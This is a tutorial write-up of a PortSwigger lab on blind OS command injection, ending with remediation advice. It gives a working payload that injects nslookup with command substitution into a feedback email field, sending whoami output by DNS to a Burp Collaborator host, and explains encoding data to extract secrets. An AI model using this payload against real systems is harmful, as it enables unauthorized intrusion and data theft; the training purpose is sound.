Blind OS Command Injection with Out-of-Band Data Exfiltration

Table of Contents
| Platform | PortSwigger Web Security Academy |
| Topic | OS command injection |
| Lab | Blind OS command injection with out-of-band data exfiltration |
| Difficulty | Expert |
| Goal | Execute whoami and exfiltrate the output over DNS |
| Tools | Burp Suite Professional (Repeater + Collaborator) |
From confirmation to exfiltration#
The out-of-band lab used a DNS callback just to prove the injection ran. This one goes further: it pulls the output of a command out over that same DNS channel. The trick is to make the server look up a domain whose subdomain is built from the command’s output, so the data rides along inside the DNS query that reaches Burp Collaborator.
The injection point is the same feedback email parameter as the
time-delay lab
,
and the response is still blind.
Exploitation: smuggle the output into a DNS name#
Send the POST /feedback/submit request to Repeater and set the email
parameter to this payload:
email=test@test.com||nslookup `whoami`.BURP-COLLABORATOR-SUBDOMAIN||The new piece is the backticks. `whoami` is command substitution: the
shell runs whoami first and drops its output in place, so the name actually
looked up becomes <the-username>.BURP-COLLABORATOR-SUBDOMAIN. (Backticks are the
older form; $(whoami) does the same thing.) The || operators wrap it exactly
as in the previous labs, and nslookup performs the DNS lookup that carries the
username to Collaborator.
As before, select the placeholder, right-click, and choose Insert Collaborator
payload so Burp fills in a unique Collaborator subdomain, then send it. The
response is still the blind empty {}:

whoami.Reading the output#
Open the Collaborator tab and click Poll now. The server’s lookup arrives
as a DNS interaction, and because the subdomain was built from whoami, the
username is sitting right there in the query:

Select an interaction and look at Description → DNS query → Raw. The first
label of the queried domain is the output of whoami, the data we exfiltrated.
Submit that username to solve the lab:

One caveat worth knowing: a DNS label has to be valid (letters, digits, hyphens, and limited length), so this smuggles short, simple output like a username cleanly. Values with spaces, slashes, or newlines won’t form a valid label, so real exfiltration often base64/hex-encodes the data (and strips padding) before putting it in the subdomain.
Real-world impact#
This is the full picture of why blind injection is still critical: not only does the server run our commands, we can read their output even when it returns nothing in the response and can’t make outbound HTTP connections.
- Exfiltrate secrets over DNS — the same technique pulls out file contents, environment variables, or credentials one chunk at a time, encoded into subdomains, past firewalls that only allow DNS.
- Works from deep inside — DNS resolution is almost always permitted even on locked-down hosts, so it’s a reliable channel when nothing else gets out.
- Chains to more — once output can leave the box, enumeration and further exploitation follow; the DNS channel is just the carrier.
Only ever against systems you are authorized to test.
Remediation#
- Don’t call the OS shell with user input. Use safe, purpose-built APIs instead of building command strings.
- If a shell command is unavoidable, pass arguments as an array/argv so
metacharacters like
`and||are never interpreted. - Validate input against a strict allow-list (for an email field, validate the format and reject anything else) rather than blacklisting characters.
A concrete, generic example of the safe form. The unsafe version concatenates the email into a shell string:
os.system("mail -s subject " + email)The safe version passes the arguments as a list, with no shell involved:
subprocess.run(["mail", "-s", "subject", email], shell=False)With shell=False and an argument list, a nslookup `whoami`… in the email is
treated as one (invalid) address, never as shell commands.
Key takeaways#
- Command substitution (
`cmd`or$(cmd)) lets you run a command and use its output inline, here to build the subdomain that gets looked up. - DNS carries the data, so blind injection with no HTTP egress still leaks output, the exfiltrated value arrives inside the DNS query Collaborator records.
- DNS labels are restrictive, so encode anything beyond short, simple output (base64/hex) before smuggling it out.